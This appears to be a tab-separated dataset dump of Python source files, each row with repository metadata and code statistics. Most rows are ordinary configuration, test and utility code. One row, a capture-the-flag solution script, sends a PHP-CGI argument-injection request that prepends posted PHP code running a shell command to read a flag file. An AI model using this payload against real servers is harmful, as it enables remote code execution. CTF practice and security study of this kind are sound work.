null	0	0	0	1	0	1	0	0	0	3
a0e9ac7f1613a030fb1d8a2f65415b51cea46365	127	py	Python	quandl/api_config.py	dpete2008/quandl	e2540dc8333c03802583344820bb0dd6b93f07df	[ "MIT" ]	2	2020-02-01T23:41:58.000Z	2020-05-19T02:11:33.000Z	quandl/api_config.py	dpete2008/quandl	e2540dc8333c03802583344820bb0dd6b93f07df	[ "MIT" ]	null	null	null	quandl/api_config.py	dpete2008/quandl	e2540dc8333c03802583344820bb0dd6b93f07df	[ "MIT" ]	2	2019-02-14T08:13:33.000Z	2019-04-23T21:47:48.000Z	class ApiConfig: api_key = None api_base = 'https://www.quandl.com/api/v3' api_version = None page_limit = 100	21.166667	46	0.653543	19	127	4.157895	0.789474	0	0	0	0	0	0	0	0	0	0.041237	0.23622	127	5	47	25.4	0.773196	0	0	0	0	0.228346	0	0	0	1	0	false	0	0	0	1	0	1	0	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	1	0	3
a0f59170c948cfd667c46384e5d83c71d62026b3	6,971	py	Python	client/tests/test_proof.py	mithril-security/blindai	48739da059d30ab28429ca5106d7f07f8d5d3f66	[ "Apache-2.0" ]	121	2022-02-15T17:37:53.000Z	2022-03-30T14:55:19.000Z	client/tests/test_proof.py	mithril-security/blindai	48739da059d30ab28429ca5106d7f07f8d5d3f66	[ "Apache-2.0" ]	18	2022-02-16T12:23:24.000Z	2022-03-27T20:33:33.000Z	client/tests/test_proof.py	mithril-security/blindai	48739da059d30ab28429ca5106d7f07f8d5d3f66	[ "Apache-2.0" ]	10	2022-02-24T20:54:52.000Z	2022-03-25T19:39:53.000Z	from copy import deepcopy from hashlib import sha256 import os import unittest from google.protobuf.timestamp_pb2 import Timestamp from blindai.pb.securedexchange_pb2 import ( Payload, ) from blindai.client import ( RunModelResponse, UploadModelResponse, ) from blindai.dcap_attestation import Policy from ...	30.709251	74	0.631904	656	6,971	6.542683	0.135671	0.073392	0.112535	0.041938	0.801491	0.771901	0.676608	0.629077	0.614632	0.614632	0.01699	0.282312	6,971	226	75	30.845133	0.840895	0.021374	0.650888	0	0	0.00969	0	0	0.195266	1	0.023669	false	0	0.059172	0	0.088757	0	0	0	null	0	0	0	1	1	0	1	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	3
a0fb91abced3e5f15faa2fb6f86c227da7378fc0	39	py	Python	src/IceRayPy/core/material/instruction/label/coord3d/const.py	dmilos/IceRay	4e01f141363c0d126d3c700c1f5f892967e3d520	[ "MIT-0" ]	2	2020-09-04T12:27:15.000Z	2022-01-17T14:49:40.000Z	src/IceRayPy/core/material/instruction/label/coord3d/const.py	dmilos/IceRay	4e01f141363c0d126d3c700c1f5f892967e3d520	[ "MIT-0" ]	null	null	null	src/IceRayPy/core/material/instruction/label/coord3d/const.py	dmilos/IceRay	4e01f141363c0d126d3c700c1f5f892967e3d520	[ "MIT-0" ]	1	2020-09-04T12:27:52.000Z	2020-09-04T12:27:52.000Z	_BEGIN = 0 ZERO=0 RAND=1 _END = 10	7.8	11	0.589744	8	39	2.625	0.875	0	0	0	0	0	0	0	0	0	0.185185	0.307692	39	4	12	9.75	0.592593	0	0	0	0	0	0	0	0	1	0	false	0	0	0	0	0	1	1	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	3
9d02e24cc3e773e9c6844ba553a6e9450a812cca	662	py	Python	examples/by_systems/mass_spring_damper/two_mass_with_pid.py	SherbyRobotics/PyRobotics	86eb1189258f6f41642a149c813dd2fd6853bcc1	[ "MIT" ]	14	2019-05-03T15:22:38.000Z	2022-03-14T15:31:54.000Z	examples/by_systems/mass_spring_damper/two_mass_with_pid.py	SherbyRobotics/PyRobotics	86eb1189258f6f41642a149c813dd2fd6853bcc1	[ "MIT" ]	9	2019-08-01T14:22:13.000Z	2021-06-12T01:44:50.000Z	examples/by_systems/mass_spring_damper/two_mass_with_pid.py	SherbyRobotics/PyRobotics	86eb1189258f6f41642a149c813dd2fd6853bcc1	[ "MIT" ]	9	2019-05-21T12:38:36.000Z	2022-03-29T16:28:45.000Z	# -- coding: utf-8 -- """ Created on Jun 2 2021 @author: Alex """ import numpy as np from pyro.dynamic import massspringdamper from pyro.control.linear import PIDController # Plant sys = massspringdamper.TwoMass() sys.m1 = 2 sys.m2 = 3 sys.k1 = 5 sys.k2 = 2 sys.b1 = 0.1 sys.b2 = 0.2 sys.com...	662	662	0.691843	110	662	4.018182	0.527273	0.079186	0.061086	0.085973	0	0	0	0	0	0	0.052045	0.187311	662	1	662	662	0.769517	1.049849	0	0	0	0.003861	0	0	0	1	0	false	0	0.130435	0	0.130435	0	0	0	null	0	0	0	0	0	0	0	0	1	1	0	1	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	3
9d267256f8642c23b94674d0e9575f186d81491d	164	py	Python	Udemy/Secao5/aula132/tempCodeRunnerFile.py	rafaelgama/Curso_Python	908231de9de4a17f5aa829f2671fd88de9261eda	[ "MIT" ]	1	2020-05-07T20:21:15.000Z	2020-05-07T20:21:15.000Z	Udemy/Secao5/aula132/tempCodeRunnerFile.py	rafaelgama/Curso_Python	908231de9de4a17f5aa829f2671fd88de9261eda	[ "MIT" ]	null	null	null	Udemy/Secao5/aula132/tempCodeRunnerFile.py	rafaelgama/Curso_Python	908231de9de4a17f5aa829f2671fd88de9261eda	[ "MIT" ]	null	null	null	for arquivo in os.listdir(caminho): caminho_completo = os.path.join(caminho, arquivo) #zip.write(caminho_completo, arquivo) print(caminho_completo)	32.8	53	0.731707	21	164	5.571429	0.571429	0.384615	0	0	0	0	0	0	0	0	0	0.164634	164	5	54	32.8	0.854015	0.219512	0	0	0	0	0	0	0	1	0	false	0	0	0	0	0.333333	1	0	null	1	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	3
9d3cdcb3f4a0fb1df8c5f6d0ed17022f0dcbc137	1,441	py	Python	AcdUtilLib.py	fermi-lat/AcdUtil	0fc8537ebc7c90dec9cb4a72e1ee274b78dd1b09	[ "BSD-3-Clause" ]	null	null	null	AcdUtilLib.py	fermi-lat/AcdUtil	0fc8537ebc7c90dec9cb4a72e1ee274b78dd1b09	[ "BSD-3-Clause" ]	null	null	null	AcdUtilLib.py	fermi-lat/AcdUtil	0fc8537ebc7c90dec9cb4a72e1ee274b78dd1b09	[ "BSD-3-Clause" ]	null	null	null	# $Header: /nfs/slac/g/glast/ground/cvs/GlastRelease-scons/AcdUtil/AcdUtilLib.py,v 1.4 2009/08/08 01:08:04 jrb Exp $ def generate(env, **kw): if not kw.get('depsOnly', 0): env.Tool('addLibrary', library = ['AcdUtil']) if env['PLATFORM'] == 'win32': env.Tool('findPkgPath', package = 'AcdUtil') env...	40.027778	116	0.637752	169	1,441	5.43787	0.426036	0.17519	0.129489	0.182807	0.146899	0	0	0	0	0	0.020287	0.179042	1,441	35	117	41.171429	0.756551	0.124913	0	1	0	0.340223	0	0	0	0	null	null	0	0	null	null	0	0	0	null	0	0	1	0	0	0	0	0	0	0	0	0	0	1	0	0	0	null	0	1	0	0	0	0	0	0	0	3
19d35e18e58b4952ba92b768fcb825dac54015d2	1,643	py	Python	myenv/Lib/site-packages/github/enums/repositorysubscription.py	thestackcoder/notifao_app	e21ab3c0eed72a64ee24508b92045de13c8385bb	[ "MIT" ]	null	null	null	myenv/Lib/site-packages/github/enums/repositorysubscription.py	thestackcoder/notifao_app	e21ab3c0eed72a64ee24508b92045de13c8385bb	[ "MIT" ]	null	null	null	myenv/Lib/site-packages/github/enums/repositorysubscription.py	thestackcoder/notifao_app	e21ab3c0eed72a64ee24508b92045de13c8385bb	[ "MIT" ]	null	null	null	""" /github/enums/repositorysubscription.py Copyright (c) 2019-2020 ShineyDev Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0...	26.934426	76	0.655508	188	1,643	5.585106	0.56383	0.057143	0.031429	0.042857	0.048571	0	0	0	0	0	0.012215	0.252587	1,643	60	77	27.383333	0.842834	0.529519	0.166667	0	0	0.127031	0.033973	0	0	1	0.333333	false	0	0	0.111111	0.722222	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	0	0	1	1	0	3
c21a42299fa0e15ccf9db8ab8af70841a1ea0272	109	py	Python	fb4/sqldb.py	tholzheim/pyFlaskBootstrap4	7e08ce6b98fc247ff97379385c41db42974db26d	[ "Apache-2.0" ]	3	2021-07-31T03:40:28.000Z	2022-02-16T06:47:45.000Z	fb4/sqldb.py	tholzheim/pyFlaskBootstrap4	7e08ce6b98fc247ff97379385c41db42974db26d	[ "Apache-2.0" ]	31	2021-01-08T14:21:18.000Z	2022-02-25T16:00:57.000Z	fb4/sqldb.py	tholzheim/pyFlaskBootstrap4	7e08ce6b98fc247ff97379385c41db42974db26d	[ "Apache-2.0" ]	3	2021-02-03T10:58:43.000Z	2021-12-20T18:57:41.000Z	''' Created on 21.01.2021 @author: wf ''' from flask_sqlalchemy import SQLAlchemy db = SQLAlchemy()	13.625	39	0.669725	14	109	5.142857	0.857143	0	0	0	0	0	0	0	0	0	0.093023	0.211009	109	8	40	13.625	0.744186	0.311927	0	0	0	0	0	0	0	1	0	false	0	0.5	0	0.5	0	1	0	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	0	0	3
dfa4c2f3dec2ddadb16069cf01ac883ebe6907a1	784	py	Python	test.py	mokha/natas	a43c8014db33c47953da59c108ba5c1f5c42920f	[ "Apache-2.0" ]	null	null	null	test.py	mokha/natas	a43c8014db33c47953da59c108ba5c1f5c42920f	[ "Apache-2.0" ]	null	null	null	test.py	mokha/natas	a43c8014db33c47953da59c108ba5c1f5c42920f	[ "Apache-2.0" ]	null	null	null	from natas import ocr_builder from mikatools import * #from gensim.models import Word2Vec #from gensim.models.keyedvectors import Word2VecKeyedVectors import natas print(natas.normalize_words(["seacreat", "wiþe"], n_best=5)) print(natas.ocr_correct_words(["paft", "friendlhip"])) #print(natas.is_correctly_spelled("cat...	37.333333	110	0.790816	109	784	5.46789	0.550459	0.067114	0.053691	0.07047	0.09396	0	0	0	0	0	0.036735	0.0625	784	20	111	39.2	0.77415	0.733418	0	0	0	0.13198	0	0	0	1	0	true	0	0.6	0	0.6	0.4	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	1	0	1	0	1	0	3
dfcccf0b26cecb7b0c2bdc6e54c4d550bcb2667f	264	py	Python	src/python/main.py	daboross/dxnr	8f73e9d5f4473b97dcfe05804a40c9a0826e51b6	[ "MIT" ]	null	null	null	src/python/main.py	daboross/dxnr	8f73e9d5f4473b97dcfe05804a40c9a0826e51b6	[ "MIT" ]	null	null	null	src/python/main.py	daboross/dxnr	8f73e9d5f4473b97dcfe05804a40c9a0826e51b6	[ "MIT" ]	null	null	null	from defs import * def main() -> None: """ Main game logic loop shim. """ from providers import cpucheck cpucheck.instantiate() if cpucheck.is_over_limit(): return import logic logic.main() module.exports.loop = main	13.2	34	0.613636	31	264	5.16129	0.645161	0	0	0	0	0	0	0	0	0	0	0.287879	264	19	35	13.894737	0.851064	0.098485	0	0	0	0	0	0	0	1	0.111111	true	0	0.333333	0	0.555556	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	1	0	1	0	1	0	3
dfcdb76f2a65b29e8c04159d0cf267e398aafe7d	266	py	Python	helper.py	alterthefuture/modmail	2be9b044270fc0c5a24803effb4e3680fefdce65	[ "MIT" ]	null	null	null	helper.py	alterthefuture/modmail	2be9b044270fc0c5a24803effb4e3680fefdce65	[ "MIT" ]	null	null	null	helper.py	alterthefuture/modmail	2be9b044270fc0c5a24803effb4e3680fefdce65	[ "MIT" ]	null	null	null	import discord import random def create_embed(text): embed=discord.Embed(description=text,color=discord.Color.blurple()) return embed def error_embed(text): embed=discord.Embed(description=text,color=discord.Color.red()) return embed	20.461538	72	0.721805	34	266	5.588235	0.382353	0.094737	0.147368	0.221053	0.610526	0.610526	0.610526	0.610526	0.610526	0.610526	0	0.172932	266	12	73	22.166667	0.863636	0	0.25	0	0	0	0	0	0	1	0.25	false	0	0.25	0	0.75	0	0	0	null	0	0	1	0	0	0	1	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	0	0	0	0	0	3
dfce3a700d385f866fe5baa6ae87a25014aca0d2	310	py	Python	ranking/models.py	ShitamatsugeFactory/KokoWalk_Server	9af36f750a512aa56635b04a190589d76822bc86	[ "MIT" ]	3	2017-01-01T07:34:54.000Z	2017-01-04T02:18:37.000Z	ranking/models.py	ShitamatsugeFactory/KokoWalk_Server	9af36f750a512aa56635b04a190589d76822bc86	[ "MIT" ]	null	null	null	ranking/models.py	ShitamatsugeFactory/KokoWalk_Server	9af36f750a512aa56635b04a190589d76822bc86	[ "MIT" ]	null	null	null	from __future__ import unicode_literals from django.db import models # Create your models here. class Ranking(models.Model): # marikoojisan / doitsujin / .... part = models.CharField(max_length=64) # user name name = models.CharField(max_length=64) score = models.IntegerField(null=True)	25.833333	42	0.725806	39	310	5.589744	0.692308	0.137615	0.165138	0.220183	0.238532	0	0	0	0	0	0.015686	0.177419	310	11	43	28.181818	0.839216	0.212903	0	0	0	0	0	0	0	1	0	false	0	0.333333	0	1	0	0	0	null	0	0	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	3
dfd070d32d8603034c917a0d80eb4f7bd3712d05	194	py	Python	day_1/range_object.py	anishLearnsToCode/python-workshop-wac-5	edaa5d9fdc1dd0b2a7557155215ff823b0be44b5	[ "MIT" ]	3	2020-07-23T13:44:16.000Z	2021-09-15T20:28:52.000Z	day_1/range_object.py	anishLearnsToCode/python-workshop-wac-5	edaa5d9fdc1dd0b2a7557155215ff823b0be44b5	[ "MIT" ]	null	null	null	day_1/range_object.py	anishLearnsToCode/python-workshop-wac-5	edaa5d9fdc1dd0b2a7557155215ff823b0be44b5	[ "MIT" ]	1	2020-11-01T00:53:00.000Z	2020-11-01T00:53:00.000Z	""" Range range(stop) range(start, stop) range(start, stop, step) start = 0 step = 1 - iterable object - string is iterable """ r = range(5, 10, 2) print(r.start) print(r.stop) print(r.step)	10.777778	24	0.659794	33	194	3.878788	0.454545	0.140625	0.21875	0.28125	0	0	0	0	0	0	0.037267	0.170103	194	17	25	11.411765	0.757764	0.623711	0	0	0	0	0	0	0	1	0	false	0	0	0	0	0.75	0	0	null	0	1	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	1	3
a05d0fc15f30512f54b09f2d9e7e7188a722329e	965	py	Python	web/users/migrations/0002_auto_20200906_2028.py	MariaMozgunova/dockerized_rest_api	aa6aef810317dd58bfd36e4f3d64c3067c6cade0	[ "MIT" ]	null	null	null	web/users/migrations/0002_auto_20200906_2028.py	MariaMozgunova/dockerized_rest_api	aa6aef810317dd58bfd36e4f3d64c3067c6cade0	[ "MIT" ]	null	null	null	web/users/migrations/0002_auto_20200906_2028.py	MariaMozgunova/dockerized_rest_api	aa6aef810317dd58bfd36e4f3d64c3067c6cade0	[ "MIT" ]	12	2021-02-11T16:39:00.000Z	2022-03-30T19:18:24.000Z	# Generated by Django 3.0.5 on 2020-09-06 20:28 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('users', '0001_initial'), ] operations = [ migrations.AlterField( model_name='user', name='bio', field=mo...	28.382353	91	0.570984	99	965	5.434343	0.484848	0.148699	0.185874	0.215613	0.275093	0.275093	0	0	0	0	0.041481	0.300518	965	33	92	29.242424	0.755556	0.046632	0.444444	1	0	0.086057	0	0	0	1	0	false	0	0.037037	0	0.148148	0	0	0	null	0	1	1	0	0	0	0	0	0	0	0	0	0	1	0	0	0	null	0	0	0	0	0	0	0	0	0	3
a06f62c7fccfc8824dad9109000dd483cda84151	299	py	Python	no12/no12.py	shopetan/ksnctf	f4b7724c956a5dc0590c83ff6f5fb6a249b81371	[ "MIT" ]	null	null	null	no12/no12.py	shopetan/ksnctf	f4b7724c956a5dc0590c83ff6f5fb6a249b81371	[ "MIT" ]	null	null	null	no12/no12.py	shopetan/ksnctf	f4b7724c956a5dc0590c83ff6f5fb6a249b81371	[ "MIT" ]	null	null	null	import requests postdata = """<?php system('cat flag_flag_flag.txt'); die();?>""" url = """http://ctfq.sweetduet.info:10080/~q12/?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input""" #url = """http://ctfq.sweetduet.info:10080/~q12/?-s""" hax = requests.post(url,postdata) print hax.text	37.375	111	0.692308	45	299	4.466667	0.666667	0.079602	0.109453	0.199005	0.318408	0.318408	0.318408	0	0	0	0.057348	0.06689	299	7	112	42.714286	0.663082	0.177258	0	0	0.2	0.6	0.085714	0	0	0	null	null	0	0.2	null	null	0.2	0	0	null	0	0	1	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	1	0	0	0	0	0	0	0	3
a07b635dce815ae1f05cbb0cacee5b50409ac6c9	1,804	py	Python	graphs/graphs.py	mihir86/Client-Server-Architecture-with-Shift-Repeat-protocol	4c647f4db53499668b5ecfbff0e186e416e69799	[ "MIT" ]	null	null	null	graphs/graphs.py	mihir86/Client-Server-Architecture-with-Shift-Repeat-protocol	4c647f4db53499668b5ecfbff0e186e416e69799	[ "MIT" ]	null	null	null	graphs/graphs.py	mihir86/Client-Server-Architecture-with-Shift-Repeat-protocol	4c647f4db53499668b5ecfbff0e186e416e69799	[ "MIT" ]	null	null	null	# Gaurang Gupta - 2018A7PS0225H # Rushabh Musthyala - 2018A7PS0433H # Mihir Bansal - 2018A7PS0215H # Aditya Jhaveri Alok - 2018A7PS0209H # Dev Gupta - 2017B3A71082H import numpy as np import matplotlib.pyplot as plt filesize = 10615705 plt.figure(figsize=(20, 10)) x = [0, 5, 10, 15, 20, 25, 30...	26.144928	104	0.639135	314	1,804	3.671975	0.423567	0.046834	0.083261	0.093669	0.640937	0.640937	0.558543	0.494363	0.468343	0.398959	0.291638	0.18459	1,804	69	105	26.144928	0.492182	0.095344	0.733333	0	0	0.142582	0	0	0	1	0	false	0	0.044444	0	0.044444	0	0	0	null	0	0	0	0	0	0	0	1	0	0	1	0	1	0	0	0	0	null	0	0	0	0	0	0	0	0	0	3
a0836229e225c17b6864f4aefb709b275b9cd0e5	1,121	py	Python	torch_scae/math_ops.py	KohavTal/SCAE_Project	bc6d1c3697fcb9327dd96e9657c3299b47cf355e	[ "Apache-2.0" ]	40	2020-05-25T02:38:45.000Z	2022-03-24T03:21:46.000Z	torch_scae/math_ops.py	KohavTal/SCAE_Project	bc6d1c3697fcb9327dd96e9657c3299b47cf355e	[ "Apache-2.0" ]	11	2020-05-26T10:19:20.000Z	2022-03-26T01:33:12.000Z	torch_scae/math_ops.py	karayanni/torch-scae	e044662d8942d8d1923d13d071f375144cf4a1e8	[ "Apache-2.0" ]	13	2020-06-15T17:14:55.000Z	2022-03-24T07:57:33.000Z	# Copyright 2020 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agree...	32.028571	84	0.73149	175	1,121	4.617143	0.531429	0.074257	0.032178	0.039604	0.066832	0.066832	0	0	0	0	0.020408	0.169492	1,121	34	85	32.970588	0.847476	0.504014	0	0	0	0	0	0	0	1	0.333333	false	0	0.083333	0.25	0.75	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	0	0	1	1	0	3
a09a0b1f223679dd83e645e430796432082c7b8f	103	py	Python	tests/paths.py	ffoxin/kodi.kino.pub	f085beb99fcbab3da4efc698d56775d9553b9f28	[ "BSD-3-Clause" ]	59	2018-10-07T19:54:27.000Z	2022-03-27T08:55:57.000Z	tests/paths.py	ffoxin/kodi.kino.pub	f085beb99fcbab3da4efc698d56775d9553b9f28	[ "BSD-3-Clause" ]	147	2018-10-07T19:02:13.000Z	2022-03-05T17:15:16.000Z	tests/paths.py	ffoxin/kodi.kino.pub	f085beb99fcbab3da4efc698d56775d9553b9f28	[ "BSD-3-Clause" ]	22	2018-11-14T16:40:19.000Z	2022-02-11T22:30:28.000Z	from pathlib import Path HOST_DIR = f"{Path('.').absolute()}/tests/data" CON_DIR = "/home/kodi/.kodi"	20.6	47	0.679612	16	103	4.25	0.8125	0	0	0	0	0	0	0	0	0	0	0.106796	103	4	48	25.75	0.73913	0	0	0	0	0.475728	0.320388	0	0	1	0	false	0	0.333333	0	0.333333	0	1	0	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	0	0	3
a0a1449a7d23d9b79a452d8c43dc6d174b0430bd	559	py	Python	passcode_decipher/tests.py	IamTechknow/team-arcana-magnus	527218b71aefe624155fdd3ac3f77d14a2d4b8c9	[ "MIT" ]	1	2018-04-06T06:07:35.000Z	2018-04-06T06:07:35.000Z	passcode_decipher/tests.py	IamTechknow/team-arcana-magnus	527218b71aefe624155fdd3ac3f77d14a2d4b8c9	[ "MIT" ]	null	null	null	passcode_decipher/tests.py	IamTechknow/team-arcana-magnus	527218b71aefe624155fdd3ac3f77d14a2d4b8c9	[ "MIT" ]	null	null	null	from time import sleep import pygame, sys import RPi.GPIO as GPIO from classes.rotary import Rotary from classes.algorithm import Algorithm from classes.algorithm import AlgorithmType algo = Algorithm(AlgorithmType.VIGENERE) print (algo.encrypt("mathieu","ee")) algo = Algorithm(AlgorithmType.BASE64) print (algo.encry...	26.619048	43	0.78712	69	559	6.376812	0.347826	0.147727	0.295455	0.261364	0.334091	0.334091	0.334091	0	0	0	0.01581	0.094812	559	21	44	26.619048	0.853755	0	0.1875	0	0	0.073214	0	0	0	1	0	false	0	0.375	0	0.375	0.3125	0	0	null	0	1	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	0	0	3
a0a34163c4948e9387959a4cdc3764a4ac10116f	20,290	py	Python	tests/test_api_device.py	skylli/devicehive-python	c61da550443b2d59938076b8394ac3e1eadc5fba	[ "Apache-2.0" ]	28	2015-07-26T10:39:33.000Z	2021-04-16T11:33:50.000Z	tests/test_api_device.py	skylli/devicehive-python	c61da550443b2d59938076b8394ac3e1eadc5fba	[ "Apache-2.0" ]	24	2015-05-27T08:55:32.000Z	2020-12-23T06:03:07.000Z	tests/test_api_device.py	skylli/devicehive-python	c61da550443b2d59938076b8394ac3e1eadc5fba	[ "Apache-2.0" ]	21	2015-09-29T20:17:40.000Z	2021-02-12T05:02:27.000Z	# Copyright (C) 2018 DataArt # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...	37.854478	79	0.670774	2,352	20,290	5.534864	0.067602	0.043094	0.025964	0.027039	0.801429	0.74228	0.676525	0.655093	0.630973	0.610232	0.008789	0.23174	20,290	535	80	37.925234	0.826341	0.030853	0.666667	0	0	0.057967	0	0	0.226667	1	0.088889	false	0.02	0.004444	0	0.108889	0	0	0	null	0	0	0	1	1	0	1	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	3
a0b73b2b8afc0e8920b81429945e0bee043f55fe	1,731	py	Python	test/testAbCoastalCellDetector.py	menta78/alphaBetaLab	8fac6cc5bd640a008bb9c0d85702053bf010e071	[ "MIT" ]	3	2019-11-18T21:06:40.000Z	2022-01-28T14:45:00.000Z	test/testAbCoastalCellDetector.py	menta78/alphaBetaLab	8fac6cc5bd640a008bb9c0d85702053bf010e071	[ "MIT" ]	2	2020-09-19T14:32:02.000Z	2022-01-24T12:22:44.000Z	test/testAbCoastalCellDetector.py	menta78/alphaBetaLab	8fac6cc5bd640a008bb9c0d85702053bf010e071	[ "MIT" ]	2	2018-11-29T10:36:01.000Z	2021-06-16T03:29:01.000Z	import unittest from shapely import geometry as g from alphaBetaLab import abCoastalCellDetector class testAbCoastalCellDetector(unittest.TestCase): def testCellOnLand(self): dtctr = abCoastalCellDetector.abCoastalCellDetector(None) cell = g.Polygon([[6, 47], [12, 47], [12, 49], [6, 49]]) cellbnd = ...	36.829787	72	0.70364	197	1,731	6.142132	0.218274	0.178512	0.218182	0.238017	0.781818	0.754545	0.673554	0.673554	0.528099	0.528099	0.04446	0.155402	1,731	46	73	37.630435	0.783174	0	0.552632	0	0	0.004622	0	0	0.315789	1	0.105263	false	0	0.078947	0	0.210526	0	0	0	null	0	1	1	0	1	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	3
39fe996c390365307afdbce6db8fd7d8367caabe	510	py	Python	mlreflect/models/__init__.py	schreiber-lab/mlreflect	88a80ccac48461cc8934a46041726b70e469c6b8	[ "MIT" ]	null	null	null	mlreflect/models/__init__.py	schreiber-lab/mlreflect	88a80ccac48461cc8934a46041726b70e469c6b8	[ "MIT" ]	null	null	null	mlreflect/models/__init__.py	schreiber-lab/mlreflect	88a80ccac48461cc8934a46041726b70e469c6b8	[ "MIT" ]	null	null	null	from pathlib import Path from . import model_helpers from . import simple_model from .trained_model import TrainedModel, DefaultTrainedModel default_model_path = Path(__file__).parents[1] / Path('resources', 'models', 'default_trained_model_with_absorption.h5') alternative_model_path = Path(__file__).parents[1] / Pat...	42.5	120	0.778431	60	510	6.116667	0.366667	0.098093	0.207084	0.234332	0.47139	0.239782	0.239782	0.239782	0.239782	0	0.008753	0.103922	510	11	121	46.363636	0.794311	0	0	0	0	0.360784	0.121569	0	0	1	0	false	0	0.5	0	0.5	0	0	0	null	0	1	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	0	0	3
2602becc3d164d95ff23178fab0254f13cf47360	4,417	py	Python	arxpy/smt/tests/test_types.py	ranea/RX-difference-tool	28b4a42bc0c602956f980a8b0d7d758f4147ff5e	[ "MIT" ]	25	2018-07-11T08:52:56.000Z	2022-01-02T10:01:00.000Z	arxpy/smt/tests/test_types.py	ranea/RX-difference-tool	28b4a42bc0c602956f980a8b0d7d758f4147ff5e	[ "MIT" ]	3	2020-12-28T03:49:11.000Z	2022-01-11T16:47:35.000Z	arxpy/smt/tests/test_types.py	ranea/RX-difference-tool	28b4a42bc0c602956f980a8b0d7d758f4147ff5e	[ "MIT" ]	4	2018-03-04T06:46:38.000Z	2020-09-28T01:53:52.000Z	"""Tests for the Types module.""" import doctest import functools import unittest from arxpy.bitvector.core import Constant, Variable from arxpy.bitvector.operation import ( BvNot, BvComp, RotateLeft, RotateRight, Concat, Repeat, ZeroExtend, Ite) import arxpy.smt.types from arxpy.smt.types import bv2pysmt as _bv2...	44.616162	113	0.621463	609	4,417	4.486043	0.229885	0.203148	0.294656	0.155564	0.361274	0.293924	0.24634	0.224744	0.09041	0	0.044509	0.216663	4,417	98	114	45.071429	0.745087	0.041204	0	0	0	0.006166	0	0	0.513889	1	0.055556	false	0	0.111111	0.013889	0.208333	0	0	0	null	1	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	1	0	0	0	0	0	0	0	0	3
26079cb831c995ef36f89bc926a92b906304cfce	108	py	Python	ref/initialtest/read_output.py	dli-invest/zipline-docker	ed5ec66b6151e6eb0b560bca3485af77985fecfd	[ "MIT" ]	null	null	null	ref/initialtest/read_output.py	dli-invest/zipline-docker	ed5ec66b6151e6eb0b560bca3485af77985fecfd	[ "MIT" ]	1	2021-04-19T16:47:10.000Z	2021-04-19T16:47:10.000Z	ref/initialtest/read_output.py	dli-invest/zipline-docker	ed5ec66b6151e6eb0b560bca3485af77985fecfd	[ "MIT" ]	null	null	null	import pandas as pd perf = pd.read_pickle('buyapple_out.pickle') # read in perf DataFrame print(perf.head())	36	69	0.768519	18	108	4.5	0.722222	0	0	0	0	0	0	0	0	0	0	0.111111	108	3	70	36	0.84375	0.203704	0	0	0	0.223529	0	0	0	1	0	false	0	0.333333	0	0.333333	0.333333	1	0	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	0	0	3
264d107d51dff729e7940e558ab0f4d45e9883c4	47	py	Python	extra_apps/__init__.py	super-GY/jtwcspider	45a6e69b93c79f6e175a0d105f2636e026ecb714	[ "Apache-2.0" ]	null	null	null	extra_apps/__init__.py	super-GY/jtwcspider	45a6e69b93c79f6e175a0d105f2636e026ecb714	[ "Apache-2.0" ]	null	null	null	extra_apps/__init__.py	super-GY/jtwcspider	45a6e69b93c79f6e175a0d105f2636e026ecb714	[ "Apache-2.0" ]	null	null	null	# __ coding:utf-8 __ __author__ = "super.gyk"	23.5	24	0.680851	6	47	4	1	0	0	0	0	0	0	0	0	0	0.02439	0.12766	47	2	24	23.5	0.560976	0.425532	0	0	0	0.346154	0	0	0	1	0	false	0	0	0	0	0	1	1	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	3
